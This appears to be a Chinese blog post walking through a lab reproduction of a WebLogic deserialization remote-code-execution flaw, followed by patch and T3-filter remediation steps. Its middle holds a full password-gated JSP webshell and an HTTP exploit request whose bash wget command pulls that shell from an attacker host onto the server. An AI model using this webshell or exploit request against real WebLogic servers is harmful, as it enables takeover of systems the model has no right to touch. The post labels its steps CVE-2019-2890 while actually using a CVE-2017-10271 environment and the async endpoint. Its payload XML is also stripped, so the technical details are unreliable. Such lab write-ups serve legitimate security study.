WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现

漏洞描述:

2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。

Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。

影响范围:

WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3

复现过程:

首先利用vulhub靶场环境中的漏洞CVE-2017-10271快速搭建环境
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第1张图片
可访问ip:7001/console查看环境是否搭建完成
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第2张图片
输入以下URL判断是否存在漏洞,如下图所示则可能存在漏洞
ip:7001/_async/AsyncResponseService
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第3张图片
我们去服务器上创建shell.txt文件,并利用kali自带python开启web服务
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第4张图片

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); }

WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第5张图片
可以去访问一下web服务,web服务开启成功
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第6张图片
利用Burpsuite去截取数据包:7001/_async/AsyncResponseService
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第7张图片
将以下数据包,替换截取的数据包

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.223.139:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 868
content-type: text/xml


   

xx
xx




/bin/bash


-c


wget http://192.168.233.139:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp








显示木马文件已经被写入服务器
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第8张图片
漏洞利用阶段我们写shell
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第9张图片
WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现_第10张图片

漏洞修复

1.更新Oracle 2019年10月补丁

https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2.控制T3协议的访问
此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3 服务会默认开启。具体操作:
(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。
(3)保存后需重新启动,规则方可生效。

你可能感兴趣的:(安全渗透,安全,网络,web安全)